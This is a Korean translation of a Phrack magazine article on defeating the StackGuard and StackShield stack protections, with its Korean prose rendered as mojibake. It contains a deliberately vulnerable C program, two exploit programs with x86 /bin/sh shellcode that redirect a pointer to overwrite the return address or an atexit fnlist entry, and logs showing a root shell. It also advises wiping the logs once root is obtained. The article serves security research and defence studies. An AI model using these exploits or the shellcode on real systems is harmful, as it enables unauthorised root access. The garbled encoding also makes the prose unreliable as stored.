- P H R A C K M A G A Z I N E - Volume 0xa Issue 0x38 05.01.2000 0x05[0x10] |------------------- STACKGUARD ¿Í STACKSHIELD ȸÇÇÇϱâ ----------------------| |-----------------------------------------------------------------------------| |--------------------- Bulba ¿Í Kil3r ---------------------| ¹ø¿ª : Á¤¿ø±³ Ʋ¸° ºÎºÐÀ̳ª ¿À¿ªÀÌ ÀÖÀ¸¸é Àú¿¡°Ô ÁöÀûÇÏ¿© ¸ÞÀÏ Áֽøé Á¤¸» °¨»çÇϰڽÀ´Ï´Ù. ----| ¸Ó¸®¸» "¹öÆÛ°¡ Æ÷ÀÎÅ͸¦ µ¤¾î¾µ ¶§... °¡½¿ ½½·£ À̾߱Ⱑ ½ÃÀ۵ȴÙ. -_-" ÀÌ ±ÛÀº StackGuard ȤÀº StackShield·Î º¸È£µÇ¾îÁö´Â ½Ã½ºÅÛ »ó¿¡¼­ ½ºÅà ¿À¹öÇ÷Π¿ì Ãë¾àÁ¡À» °¡Áø ÇÁ·Î±×·¥À» ÀͽºÇ÷ÎÀÕÇÏ´Â °¡´É¼º¿¡ ´ëÇØ¼­ ¼³¸íÇÒ ¿¹Á¤ÀÌ´Ù. À̰ÍÀº ½ºÅÃÀÌ non-executable ÀÏ ¶§¿Í °°Àº ÀûÀÇÀû ȯ°æ¿¡¼­µµ °¡´ÉÇÏ´Ù. ----| StackGuard¿¡ ´ëÇÑ °íÂû StackGuardÀÇ ¸¸µçÀÌ¿¡ µû¸£¸é À̰ÍÀº "¼öÇà°úÁ¤ÀÇ ¹úÁ¡À» ºÎ°úÇÔÀ¸·Î½á ¹öÆÛ¿À¹ö Ç÷ο츦 Á¦°ÅÇÒ ¼ö ÀÖ´Â ½¬¿î ÄÄÆÄÀÏ·¯ Å×Å©´ÐÀÌ´Ù."¶ó°í ÇÑ´Ù. [1] ¿ì¸®´Â µ¶ÀÚ°¡ ¹öÆÛ ¿À¹öÇ÷ο츦 ¾î¶»°Ô °ø°ÝÇÏ´ÂÁö ÀͽºÇ÷ÎÀÕ Äڵ带 ¾²´Â ¹æ¹ýÀ» ¾Ë°í ÀÖ´ÂÁö µîµîÀ» ¾Ë°í ÀÖ´Ù°í °¡Á¤ÇÑ´Ù. ¸¸¾à ´ç½ÅÀÌ À̰ÍÀ» Àß ¸ð¸£¸é P49-14¸¦ º¸ µµ·Ï Ç϶ó. ¾Ë¸ÍÀ̸¸ ¸»ÇÏ¸é ¿ì¸®´Â Áö¿ª º¯¼ö ¹öÆÛÀÇ ³¡À» ³ÑÄ¡°Ô ÇÔÀ¸·Î½á ÇÔ¼öÀÇ ¸®ÅÏ ¾îµå·¹½º ¸¦ ¹Ù²Ü¼ö°¡ ÀÖ´Ù. ÇÔ¼öÀÇ ¸®ÅÏ ¾îµå·¹½º¸¦ ¹Ù±¸´Â ºÎÁ¤ÀûÀÎ ¸éÀº ¿À¹öÇ÷οìµÈ ¹öÆÛÀÇ ³¡ ³Ñ¾î¿¡ ÀÖ´Â ¸ðµç ½ºÅà µ¥ÀÌŸµéÀ» ÆÄ±«Çϰųª ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù´Â Á¡ÀÌ´Ù. StackGuard ÇÏ´Â ÀÏÀº ¹«¾ùÀΰ¡? ±×°ÍÀº ½ºÅûóÀÇ ¸®ÅÏ ¾îµå·¹½º ¿·¿¡ "canary" ¿öµå¸¦ ³Ö´Â °ÍÀÌ´Ù. ¸¸¾à ÇÔ¼ö°¡ ¸®ÅϵǾúÀ» ¶§ canary °¡ ¹Ù²î¾ú´Ù¸é ½ºÅà °ø°ÝÀÌ ½ÃµµµÇ¾ú´Ù ´Â °ÍÀ¸·Î »ý°¢Çϰí syslog¿¡ ·Î±ëÀ» Çϰí ÇÁ·Î±×·¥À» ³¡³½´Ù. ´ÙÀ½ÀÇ µµÇ¥¸¦ °í·ÁÇ϶ó. ... ... |-----------------------------------| | È£ÃâµÈ ÇÔ¼öÀÇ ÆÐ·¯¹ÌÅÍ | |-----------------------------------| | ÇÔ¼öÀÇ ¸®ÅÏ ¾îµå·¹½º (RET) | |-----------------------------------| | canary | |-----------------------------------| | Áö¿ª ÇÁ·¹ÀÓ Æ÷ÀÎÅÍ (%ebp) | |-----------------------------------| | Áö¿ª º¯¼öµé | |-----------------------------------| ... È¿À²ÀûÀÎ »ç¿ëÀ» À§Çؼ­ °ø°ÝÀÚ°¡ °ø°Ý ¹®ÀÚ¿­¿¡ "¼ÓÀÌ´Â(spoof)" canary À» ³»ÀåÇÏ °Ô ÇØ¼­´Â ¾ÈµÈ´Ù. StackGuard´Â canary ½ºÇªÇÎÀ» ¹æÁöÇϱâ À§Çؼ­ µÎ°¡Áö ±â¼úÀ» Á¦°øÇÑ´Ù. "terminator" ¿Í "random"ÀÌ´Ù. terminator canary ´Â NULL(0x00), CR (0x0d), LF (0x0a) and EOF (0xff) À» Æ÷ÇÔÇÑ ´Ù. À§ ³× °¡Áö ¹®ÀÚµéÀº ´ëºÎºÐÀÇ ¹®ÀÚ¿­ ÀÛµ¿À» ¸ØÃß°Ô ÇÑ´Ù. ±×·¡¼­ °ø°ÝÀÌ ½Ã½ºÅÛ¿¡ ÇØ·ÓÁö ¾Ê°Ô ÇÑ´Ù. random canary´Â ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ´Â ½Ã°£¿¡ ·£´ýÀ¸·Î ¼±ÅõǾîÁø´Ù. ±×·¡¼­ °ø°Ý ÀÚ´Â ÀÌÀü¿¡ ½ÇÇàÇÑ ½ÇÇà À̹ÌÁö¸¦ ÅëÇØ¼­ canary°ªÀ» ¹è¿ï¼ö°¡ ¾ø´Ù. ·£´ý °ªÀº ¸¸¾à °¡´ÉÇÏ´Ù¸é /dev/urandomÀ¸·ÎºÎÅÍ °¡Á®¿À°í, Áö¿øµÇÁö ¾Ê´Â´Ù¸é ±×³¯ÀÇ ½Ã°£À» ÇØÅ· ÇÏ¿© ¸¸µé¾îÁø´Ù. ÀÌ ·£´ýÇÑ ¹æ¹ýÀº ´ëºÎºÐÀÇ ¿¹Ãø °ø°ÝÀ» ¸·±â ÃæºÐÇÏ´Ù. ----| StackShield StackShield ´Â ´Ù¸¥ ¹æ¹ýÀ» »ç¿ëÇÑ´Ù. ±× ¾ÆÀ̵ð¾î´Â ÇÔ¼öÀÇ ¸®ÅÏ ÁÖ¼Ò º¹»çº»À» ³ª ´©¾îÁø ½ºÅÿ¡ ¸¸µå´Â °ÍÀÌ´Ù. ´Ù½Ã ¸»Çؼ­ º¸È£µÇ´Â ÇÔ¼öÀÇ ¸ÇóÀ½°ú ¸Ç³¡¿¡ ¸î¸î Äڵ带 ´õÇÔÀ¸·Î½á ÀÌ·ç¾îÁø´Ù. ÇÔ¼öÀÇ ¸Ó¸®¸» ÄÚµå´Â ƯÁ¤ Å×ÀÌºí¿¡ ¸®ÅÏ ÁÖ¼Ò¸¦ º¹»çÇÏ°í ±×·³ ¸ÎÀ½¸»À» ´Ù½Ã ±×°ÍÀ» ½ºÅÿ¡ º¹»çÇÑ´Ù. ±×·¡¼­ ½ÇÇà È帧Àº ¹Ù²îÁö ¾Ê°í À¯ÁöµÈ´Ù. -- ÇÔ¼ö´Â Ç×»ó ±×°ÍÀÇ È£ÃâÀÚ¿¡¼­ µÇµ¹¾Æ °£´Ù. ½ÇÁ¦ ¸®ÅÏ ÁÖ¼Ò´Â ÀúÀåµÈ ¸®ÅÏ ÁÖ¼Ò¿Í ºñ±³µÇÁö ¾Ê´Â´Ù. ±×·¡¼­ ¹öÆÛ ¿À¹öÇ÷ο찡 ÀϾ ¹ß¹ýÀ̾ø´Ù. ÃÖ±Ù ¹öÀüÀº ¶ÇÇÑ .TEXT ¼¼±×¸ÕÆ®¿¡ Æ÷ÇÔµÇÁö ¾Ê´Â ÁÖ¼Ò¸¦ °¡¸£Å°´Â ÇÔ¼ö Æ÷ÀÎÅÍ È£ Ãâ¿¡ ´ëÇ×ÇÏ¿© ¹æ¾îÃ¥À» ´õÇß´Ù. ("±×°ÍÀº ¸®ÅÏ °ªÀÌ º¯ÇÏ¿´À» ¶§ ÇÁ·Î±×·¥ ½ÇÇàÀ» Á¾ ·áÇÑ´Ù.") ±× µÎ½Ã½ºÅÛÀº °áÄÚ Æ²¸®Áö ¾ÊÀº °Í ó·³ º¸ÀδÙ. ÇÏÁö¸¸ ±×·¸Áö ¾Ê´Ù. ----| "Nelson Mengele ¸¦ ¼®¹æÇ϶ó" "...°ø°ÝÀÚ´Â ¸®ÅÏ ÁÖ¼Ò ¿·¿¡ÀÖ´Â ÇÁ·Î±×·¥ ³»ÀÇ ´Ù¸¥ Æ÷ÀÎÅÍ(ÇÔ¼ö Æ÷ÀÎÅÍ, longjmp ¹ö ÆÛ¿Í °°Àº ȤÀº ½ºÅûóÀÌ ¾Æ´Ï´õ¶óµÎ)¸¦ º¯È­½ÃÅ´À¸·Î½á ¹öÆÛ ¿À¹öÇ÷ο츦 ¸·´Â StackGuard¸¦ °æÀ¯ÇÒ ¼ö ÀÖ´Ù. ¿ÀÄÉÀÌ.. ±×·¡¼­ ÇÔ¼öÀÇ Æ÷ÀÎÅÍ È¤Àº longjmp¸¦ ¿À¹öÇ÷οì½ÃŰ´Â µ¥´Â ¾à°£ÀÇ Çà¿îÀÌ ÇÊ¿äÇÒ±î? ÀÌ°Ç ³»±â´Ù. ¿ì¸®ÀÇ ¹öÆÛ µÚ¿¡ ±×·± Æ÷ÀÎÅ͸¦ ã´Â °ÍÀ» Á¤È®ÇÏ°Ô ¸»Çؼ­ Æò¹üÇÑ °ÍÀº ¾Æ´Ï´Ù. ´ëºÎºÐÀÇ ÇÁ·Î±×·¥Àº ÀüÇô ±×°ÍÀ» °®°í ÀÖÁö ¾ÊÀ» ¼öµµ ÀÖ´Ù. ¸î¸î ´Ù¸¥ Æ÷ÀÎÅ͸¦ ã´Â °ÍÀÌ ´õ ÁÁÀ» Áö ¸ð¸¥´Ù. ¿¹¸¦ µéÀÚ. [root@sg StackGuard]# cat vul.c // Ãë¾à ÇÁ·Î±×·¥ ¿¹Á¦ int f (char ** argv) { int pipa; // ÇÊ¿ä¾ø´Â º¯¼ö char *p; char a[30]; p=a; printf ("p=%x\t -- before 1st strcpy\n",p); strcpy(p,argv[1]); // <== ÃÖ¾àÇÑ strcpy() printf ("p=%x\t -- after 1st strcpy\n",p); strncpy(p,argv[2],16); printf("After second strcpy ;)\n"); } main (int argc, char ** argv) { f(argv); execl("back_to_vul","",0); //<== ½ÇÆÐÇÏ´Â ½ÇÇà printf("End of program\n"); } ´ç½Åµµ ¾Ë´Ù½ÃÇÇ ¿ì¸®ÀÇ ¹öÆÛ¸¦ µ¤¾î¾²´Â °ÍÀ¸·Î ¿ì¸®´Â ´ÜÁö ¸®ÅÏ ÁÖ¼Ò¸¦ µ¤¾î¾´´Ù. ÇÏÁö¸¸ ¿ì¸®ÀÇ ÇÁ·Î±×·¥ÀÌ StackGuard·Î º¸È£µÇ°í ÀÖ´Ù¸é °¥ÆÎÁöÆÎÇÒ °ÍÀÌ´Ù. ÇÏÁö¸¸ °¡Àå °£´ÜÇÑ ºÐ¸íÇÑ ±æÀÌ Ç×»ó ÃÖ¼±ÀÇ ±æÀº ¾Æ´Ï´Ù. p Æ÷ÀÎÅ͸¦ µ¤¾î½áº¸´Â °ÍÀº ¾î¶³ ±î? µÎ¹øÂ°(¾ÈÀüÇÑ) strncpy ÀÛµ¿Àº ¿ì¸®°¡ °¡¸£Å°´Â °÷À¸·Î ¹Ù·Î °¥°ÍÀÌ´Ù. p Æ÷ÀÎÅÍ ¸¦ ½ºÅûóÀÇ ¸®ÅÏ ÁÖ¼Ò¸¦ °¡¸£Å°°Ô ÇϸéÀº ¾î¶³±î? ±×·³ ¿ì¸®´Â canary¸¦ °Çµô Çʿ䵵 ¾øÀÌ ÇÔ¼öÀÇ ¸®ÅÏ ÁÖ¼Ò¸¦ ¹Ù²Ü¼ö ÀÖ´Ù. ±×·¡¼­ ¿ì¸®ÀÇ °ø°Ý¿¡ ÇÊ¿äÇÑ °ÍÀº ¹«¾ùÀΰ¡? 1. ¿ì¸®ÀÇ ¹öÆÛ a[]µÚ¿¡ ½ºÅÃ»ó¿¡ ¹°¸®ÀûÀ¸·Î Á¸ÀçÇÏ´Â p Æ÷ÀÎÅͰ¡ ÇÊ¿äÇÏ´Ù. 2. ÀÌ p Æ÷ÀÎÅ͸¦ µ¤¾î¾²´Â °ÍÀ» Çã¶ôÇÏ´Â ¿À¹öÇÃ·Î¿ì ¹ö±×°¡ ÇÊ¿äÇÏ´Ù. (¹Ù¿î½º üũ¸¦ ÇÏÁö¾Ê´Â strcpy¿Í °°Àº °Íµé..) 3. ¼Ò½º¸¦ µµÂøÁö¿Í »ç¿ëÀÚ°¡ °¡¸£Å°´Â µ¥ÀÌŸ¸¦ *p·Î °¡Á®°¥ ¼ö ÀÖ´Â ÇϳªÀÇ *copy() ÇÔ¼ö(strcpy, memcopy, ȤÀº ´Ù¸¥ °Íµé) °¡ ÇÊ¿äÇÏ´Ù. ¹°·Ð ¿À¹öÇÃ·Î¿ì ¿Í º¹»ç »çÀÌ¿¡ p ÀÇ ÃʱâÈ­°¡ ¾ø¾î¾ß ÇÑ´Ù. ºÐ¸íÈ÷ À§ÀÇ Á¦ÇÑÁ¡Àº StackGuard·Î ÄÄÆÄÀÏµÈ ¸ðµç ÇÁ·Î±×·¥ÀÌ Ãë¾àÇÏ´Ù´Â °ÍÀ» ¸»ÇÏÁö ¾Ê´Â´Ù. ÇÏÁö¸¸ ±×·¯ÇÑ Ãë¾àÁ¡µéÀº ¹Û¿¡ ³ëÃâµÈ´Ù. ¿¹¸¦ µé¸é mapped_path ¹öÆÛ°¡ ÇÁ·Î¼¼½º ¸Þ¸ð¸®ÀÇ ¾î¶² ºÎºÐÀ» ¼öÁ¤ÇÏ´Â ´É·ÂÀ» °¡Áö°í ÀÖ´Â setproctitle() ¸¦ »ç¿ëÇÏ´Â Argv ¿Í LastArg Æ÷ÀÎÅ͸¦ µ¤¾î¾²´Â wu-ftpd2.5 mapped_path ¹ö±×°¡ ÀÖ´Ù. ´ç¿¬È÷ ±×°ÍÀº data ±â¹ÝÀÇ ¿À¹öÇ÷οìÀÌ´Ù.(½ºÅ¹ ±â¹ÝÀÌ ¾Æ´Ï´Ù.) ÇÏÁö¸¸ ´Ù¸¥ ÇÑÆíÀ¸·Î À̰ÍÀº ¿ì¸®ÀÇ À§ Ãë¾à¼ºÀº Çö½Ç¼¼°è¿¡ °¡µæÈ÷ ÀÖ´Ù´Â °ÍÀ» Á¤Àdz»·Á ÁØ´Ù. ±×·¡¼­ ¾î¶»°Ô ±×°ÍÀ» ÀͽºÇ÷ÎÀÕ ½Ãų±î? ¿ì¸®´Â p Æ÷ÀÎÅ͸¦ µ¤¾î½è´Ù. ±×·¡¼­ ±×°ÍÀº ½ºÅûóÀÇ RET ÁÖ¼Ò¸¦ °¡¸£Å³ °ÍÀÌ´Ù. ±×·³ ´ÙÀ½ *copy() ÇÔ¼ö´Â canary¸¦ °ÇµôÁö ¾Ê°í ¿ì¸®ÀÇ RET¸¦ µ¤¾î¾µ°ÍÀÌ´Ù. :) ÁÁ´Ù.. ¿ì¸®´Â ¶ÇÇÑ ½©Äڵ带 ¹Ð¼öÀÔÇÏ´Â °Íµµ ÇÊ¿äÇÏ´Ù.(¿ì¸®´Â argv[0]À» »ç¿ë ÇÑ´Ù.) ¹ØÀº °£´ÜÇÑ ÀͽºÇÁ·ÎÀÕÀÌ´Ù. (¿ì¸®´Â ȯ°æ µ¶¸³ÀûÀ¸·Î ¸¸µé±â À§ÇØ execle() ¸¦ »ç¿ëÇß´Ù.) [root@sg StackGuard]# cat ex.c /* Example exploit no. 1 (c) by Lam3rZ 1999 :) */ char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char addr[5]="AAAA\x00"; char buf[36]; int * p; main() { memset(buf,'A',32); p = (int *)(buf+32); *p=0xbffffeb4; // <<== RET ÁÖ¼Ò¸¦ °¡¸£Å²´Ù. p = (int *)(addr); *p=0xbfffff9b; // <<== »õ·Î¿î RET °ª execle("./vul",shellcode,buf,addr,0,0); } StackGuard·Î º¸È£µÇ´Â RH5.2 »ó¿¡¼­ ½ÇÇèÇÏ¿´´Ù. [root@sg StackGuard]# gcc vul.c -o vul [root@sg StackGuard]# gcc ex.c [root@sg StackGuard]# ./a.out p=bffffec4 -- before 1st strcpy p=bffffeb4 -- after 1st strcpy bash# ´ç½Åµµ ¾Ë´Ù½ÃÇÇ Ã³À½ strcpy´Â p Æ÷ÀÎÅ͸¦ µ¤¾î½è´Ù. ±×·³ strncpy()´Â ¿ì¸®ÀÇ ½©ÄÚ µå°¡ ÀÖ´Â °÷ÀÇ ÁÖ¼Ò¸¦ RET·Î º¹»çÇÑ´Ù. À̾æÈ£~ ÀÌ ±â¼úÀº º¸Åë gcc ȤÀº StackGuard·Î º¸È£µÇ´Â gcc¿¡´Â ÀÛµ¿ÇÏÁö¸¸ StackShield·Î ÄÄÆÄÀϵǴ ÇÁ·Î±×·¥µéÀº ¾ÆÁ÷ Àß ¸ð¸¥´Ù. ----| ¶°¸Ô´Â ½ºÇ¬Àº ¾ø´Ù. ³ª´Â StackGuard °³¹ßÀÚÁßÀÇ ÇÑ»ç¶÷Àº Crispin Cowan ¿Í À̾߱⸦ Çß¾ú´Âµ¥ ±×´Â À§ÀÇ ÇØÅ·¿¡ ´ëÇ×ÇÒ ¹æ¹ýÀ» Á¦¾ÈÇß´Ù. ¹ØÀÇ ±ÛÀÌ ±×ÀÇ ¾ÆÀÌ µð¾îÀÌ´Ù. "XOR ·£´ý Canary ¹æ¾î ½Ã½ºÅÛ : À̰ÍÀº Aaron GrierÀÇ °í´ë ¹æ¹ýÀ» ¼ö¿ëÇÑ °ÍÀ¸·Î ¸®ÅÏ ÁÖ¼Ò¿¡ xor ·£´ý canary¸¦ ä¿ëÇÑ °ÍÀÌ´Ù. canary È®ÀÎ ÄÚµå´Â ÇÔ¼ö·Î ºÎÅÍ ³ª¿Ã¶§(exit) »ç¿ëµÈ´Ù. Àû´çÇÑ ·£´ý canary(exec() ½Ã¿¡ ÀÌ ÇÔ¼ö¿¡ Á¶ÇյǾîÁö´Â)¿Í ¸¸µé¾îÁø XORÀÇ ¸®ÅÏ ÁÖ¼Ò´Â ½ºÅÃ»ó¿¡ ±â·ÏµÇ¾îÀÖ´Â ·£¼¶ canary¿Í °è»êµÇ¾îÁø´Ù. ¸¸¾à °ø°ÝÀÚ°¡ ¸®ÅÏ ÁÖ¼Ò¸¦ °ø°ÝÇß´Ù¸é xorÀÇ ·£´ý canary´Â ¸ÅÄ¡°¡ µÇÁö ¾ÊÀ» °ÍÀÌ´Ù. °ø°ÝÀÚ´Â ·£´ý canary °ªÀ» ¾ËÁö ¸øÇÏ¸é ½ºÅÃ»ó¿¡ ¸ø¿©ÀÖ´Â canary¸¦ °è»êÇÒ ¼ö ¾ø ´Ù. À̰ÍÀº ÀÌ ÇÔ¼ö¸¦ À§ÇÑ ·£´ø canary¿Í ÇÔ²² ¸®ÅÏ ÁÖ¼ÒÀÇ ¾Ïȣȭ¿¡ ¿µÇâÀ» ³¢Ä¥ °Í ÀÌ´Ù. ¿ì¸®°¡ Á¦½ÃÇÏ´Â µµÀüÀº °ø°ÝÀÚ°¡ ÀÓÀÇÀÇ canary °ªÀ» ¹è¿ì´Â °ÍÀ¸·Î ºÎÅÍ ±×°ÍÀ» À¯ ÁöÇÏ´Â °ÍÀÌ´Ù. ÀÌÀü¿¡ ¿ì¸®´Â °æ°í ÆäÀÌÁö¸¦ ¸¸µé¾î canary Å×À̺íÀ» °¨½Î´Â °ÍÀ» Á¦ ¾ÈÇß¾ú´Ù. ±×·¡¼­ ¹öÆÛ ¿À¹öÇ÷ο찡 canary °ªÀ» ÃßÃâÇÏ´Â µ¥ »ç¿ëµ¹ Çϵµ·Ï ¸»ÀÌ´Ù. ÇÏÁö¸¸ EmsiÀÇ [¹Ø¿¡ ¼³¸íµÇ¾î ÀÖ´Ù.] °ø°ÝÀÌ ÀÓÀÇÀÇ ÁÖ¼ÒÀÇ Æ÷ÀÎÅ͸¦ Á¾ÇÕÇÒ ¼ö ÀÖ°Ô µÇ¾î Æ÷±âÇß´Ù." °¡Àå °£´ÜÇÑ ¼Ö·ç¼ÇÀº)"°ø°ÝÀڷκÎÅÍ ¸·±â À§ÇÑ mprotect() canary Å×À̺íÀ» »ç¿ëÇÏ ´Â °ÍÀÌ´Ù." ¿ì¸®´Â Crispin¿¡°Ô ÀÌ¿¡ °üÇÑ ±ÛÀ» ¾²°í ÀÖ´Ù°í ÀüÇß´Ù. ±×ÀÇ ¹ÝÀÀÀº ÀÌ·¸´Ù. "³ª´Â ¿ù¿äÀÏÂë¿¡ (XOR ·£´ý canary¸¦ Æ÷ÇÔÇÏ´Â) StackGuard ÄÄÆÄÀÏ·¯¸¦ ¹ßÇ¥ÇÒ ¼ö ÀÖÀ» °ÍÀ¸·Î »ý°¢ÇÑ´Ù." ±×¸®°í ±× ÄÄÆÄÀÏ·¯´Â ¹ßÇ¥µÇ¾ú´Ù. [3] StackShield ´Â ¾ÈÀüÇÑ Àå¼Ò(ÀÓÀÇÀÇ À§Ä¡¿Í Å©±â -- ºñ·Ï ¼öÇà ´É·ÂÀº ´Ê¾îÁúÁö ¸ô ¶óµµ)¿¡ RET º¹»çº»À» ÀúÀåÇÔÀ¸·Î½á (´ëºÎºÐÀÇ) °°Àº º¸¾È ·¹º§ ¼öÁØÀ» Á¦°øÇÑ´Ù. ±×¸®°í ÇÔ¼ö°¡ ¸®ÅÏÇϱâ Àü¿¡ ±×°ÍÀÇ ¹«°á¼ºÀ» üũÇÑ´Ù. ¿ì¸®´Â ±×°ÍÀ» °æÀ¯ÇÒ ¼ö ÀÖ´Ù. ¸¸¾à ¸¶À½´ë·Î ´Ù·ê¼ö ÀÖ´Â Æ÷ÀÎÅ͸¦ ¿ì¸®°¡ °¡Áö°í ÀÖ´Ù¸é ¿ì¸®´Â ±×°ÍÀ» ÇÁ·Î±×·¥ ¾È¿¡ Á¸ÀçÇÏ´Â Ãë¾àÇÑ ¿À¹öÇ÷ο츦 ÀͽºÇ÷ÎÀÕ ÇÒ ¼ö ÀÖ°Ô µµ¿ÍÁÖ´Â ¿ä¼Ò·Î »ç¿ëÇÒ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¸é atexit(3) ȤÀº on_exit(3)À» ÅëÇØ µî·ÏµÇ¾îÁø ÇÔ¼öµéÀ» °¡Áö°í ÀÖ´Â fnlist ±¸Á¶Ã¼°¡ ±×°ÍÀÌ´Ù. ¹°·Ð ÀÌ ÄÚµåÀÇ °¡Áö¿¡ µµ´ÞÇϱâ À§Çؼ­´Â ÇÁ·Î±×·¥Àº exit()¸¦ È£ÃâÇÏ´Â °ÍÀÌ ÇÊ¿äÇÏ´Ù. ÇÏÁö¸¸ ´ëºÎºÐÀÇ ÇÁ·Î±×·¥µéÀº ½ÇÇàÀÇ ³¡À̳ª ¿¡·¯ °¡ ÀϾÀ» ¶§ ¹ß»ýÇÑ´Ù. (´ëºÎºÐÀÇ °æ¿ì ¿ì¸®´Â ¿¡·¯¸¦ ÀÏÀ¸Å°°Ô ÇÒ ¼ö ÀÖ´Ù.) fnlist ±¸Á¶¸¦ »ìÆìº¸ÀÚ. [root@sg StackGuard]# gdb vul GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support [...] This GDB was configured as "i386-redhat-linux"... (gdb) b main Breakpoint 1 at 0x8048790 (gdb) r Starting program: /root/StackGuard/c/StackGuard/vul Breakpoint 1, 0x8048790 in main () (gdb) x/10x &fnlist 0x400eed78 : 0x00000000 0x00000002 0x00000003 0x4000b8c0 0x400eed88 : 0x00000000 0x00000003 0x08048c20 0x00000000 0x400eed98 : 0x00000000 0x00000000 ¿ì¸®´Â ±×°ÍÀÌ µÎ ÇÔ¼ö¸¦ È£ÃâÇÑ´Ù´Â °ÍÀ» º¼¼ö ÀÖ´Ù. _fini [0x8048c20] °ú _dl_fini [0x4000b8c0] ÀÌ´Ù. ±× µÎ°¡Áö´Â ¾î¶°ÇÑ ÀÎÀÚ¸¦ °¡Áö°í ÀÖ´Ù.(fnlist¿¡ ´ëÇØ ÀÌÇØÇϱâ À§Çؼ­´Â glibc ¼Ò½º¸¦ üũÇ϶ó.) ¿ì¸®´Â µÎ ÇÔ¼ö¸¦ µ¤¾î¾µ ¼ö ÀÖ´Ù. fnlist ÁÖ¼Ò´Â libc ¶óÀ̺귯¸®¿¡ µ¶¸³ÀûÀÌ´Ù. ±×·¡¼­ ±×°ÍÀº ƯÁ¤ ¸Ó½Å»ó¿¡¼­ ¸ðµç ÇÁ·Î¼¼½º¿¡ ´ëÇØ °°À» °ÍÀÌ´Ù. ´ÙÀ½ÀÇ ÄÚµå´Â exit()¸¦ ÅëÇØ ÇÁ·Î±×·¥À» Á¾·áÇÒ ¶§ Ãë¾àÇÑ ¿À¹öÇ÷ο츦 ÀͽºÇ÷ÎÀÕ ÇÑ´Ù. [root@sg StackGuard]# cat 3ex.c /* Example exploit no. 2 (c) by Lam3rZ 1999 :) */ char shellcode[] = "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa" "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh"; char addr[5]="AAAA\x00"; char buf[36]; int * p; main() { memset(buf,'A',32); p = (int *)(buf+32); *p=0x400eed90; // <<== ¿ì¸®°¡ ¼öÁ¤ÇÒ fnlist ³»ÀÇ ¿£Æ®¸® ÁÖ¼Ò p = (int *)(addr); *p=0xbfffff9b; // <<== ½©Äڵ带 È£ÃâÇÒ »õ·Î¿î ÇÔ¼öÀÇ ÁÖ¼Ò :) execle("./vul",shellcode,buf,addr,0,0); } ´ç½Åµµ ¾Ë´Ù½ÃÇÇ ¿ì¸®ÀÇ ÀͽºÇ÷ÎÀÕÀº ´ÜÁö ÇÑ ÁÙ¸¸ º¯Çß´Ù. :) Ãë¾àÇÑ ÇÁ·Î±×·¥¿¡ ´ëÇØ Å×½ºÆ®¸¦ ÇÏÀÚ. [root@sg StackGuard]# gcc 3ex.c [root@sg StackGuard]# ./a.out p=bffffec4 -- before 1st strcpy p=400eed90 -- after 1st strcpy After second strcpy ;) End of program bash# ´ç½Åµµ ¾Ë´Ù½ÃÇÇ ¿ì¸®ÀÇ ÇÁ·Î±×·¥Àº Á¤»óÀûÀÎ Á¾·áÈÄ¿¡ ½©À» ¿ì¸®¿¡°Ô ÁÖ¾ú´Ù. ÀÌ·¯ÇÑ °ÍÀº StackGuard ¿Í StackShield µµ ÀÌ·¯ÇÑ °ø°Ý¿¡ ´ëÇØ ¹æ¾îÇÏÁö ¸øÇÑ´Ù. ÇÏÁö¸¸ ¿ì¸®ÀÇ ÇÁ·Î±×·¥ÀÌ exit()¸¦ È£ÃâÇÏÁö ¾Ê°í ´ë½Å¿¡ _exit()¸¦ »ç¿ëÇÏ¸é ¾î¶³±î? ¿ì¸®°¡ canary¸¦ µ¤¾î½èÀ» ¶§ ¾î¶² ÀÏÀÌ ÀϾ´ÂÁö º¸ÀÚ. StackGuard·Î º¸È£µÇ´Â ÇÁ·Î±×·¥ Àº __canary_death_handler() (ÀÌ ÇÔ¼ö´Â °ø°Ý½Ãµµ¸¦ ·Î±×¿¡ ³²±â´Â °Í°ú ÇÁ·Î¼¼½º¸¦ Á¾·á Çϴ åÀÓÀ» °¡Áö°í ÀÖ´Ù.)¸¦ È£ÃâÇÒ °ÍÀÌ´Ù. ±×°ÍÀ» º¸ÀÚ. void __canary_death_handler (int index, int value, char pname[]) { printf (message, index, value, pname) ; syslog (1, message, index, value, pname) ; raise (4) ; exit (666) ; } ´ç½Åµµ º¸´Ù½ÃÇÇ ¿ì¸®´Â °¡Àå ³¡¿¡ exit() ÇÔ¼ö È£ÃâÀ» °¡Áö°í ÀÖ´Ù. ´ç¿¬È÷ ÀÌ·¯ÇÑ ¹æ½ÄÀÇ ÀͽºÇ÷ÎÀÕ ÇÁ·Î±×·¥Àº ·Î±×¸¦ »ý¼º½Ãų °ÍÀÌ´Ù. ÇÏÁö¸¸ ¸¸¾à ´Ù¸¥ ¹æ¹ýÀÌ ¾ø ´Ù¸é ±×°ÍÀº ÇÊ¿äÇÑ °ÍÀÌ´Ù. °Ô´Ù°¡ ¸¸¾à ´ç½ÅÀÌ r00t¸¦ ¾òÀ¸¸é, ³ªÁß¿¡ Áö¿ì¸é µÈ´Ù. ¿ì¸®´Â Perry Wagle (´Ù¸¥ StackGuard °³¹ßÀÚ)·Î ºÎÅÍ ¸î¸î ÆíÁö¸¦ ¹Þ¾Ò´Ù. " ³ª´Â exit() ´ë½Å¿¡ _exit()¸¦ È£ÃâÇϵµ·Ï °íÃÆ´Ù." ÇöÀç StackGuard´Â _exit()¸¦ È£ÃâÇÑ´Ù. ¹°·Ð À§ÀÇ ÇØÅ· ¹æ¹ýÀº StackShield¿¡ Àû¿ëµÇÁö ¾Ê´Â´Ù. StackShield º¸È£´Â º¸È£µÇÁö ¾Ê ´Â ÀúÀåµÈ %ebp ¸¦ µ¤¾î¾¸À¸·Î½á °æÀ¯µÉ ¼ö ÀÖ´Ù. ±×°Í(°¡Àå ³ª»Û 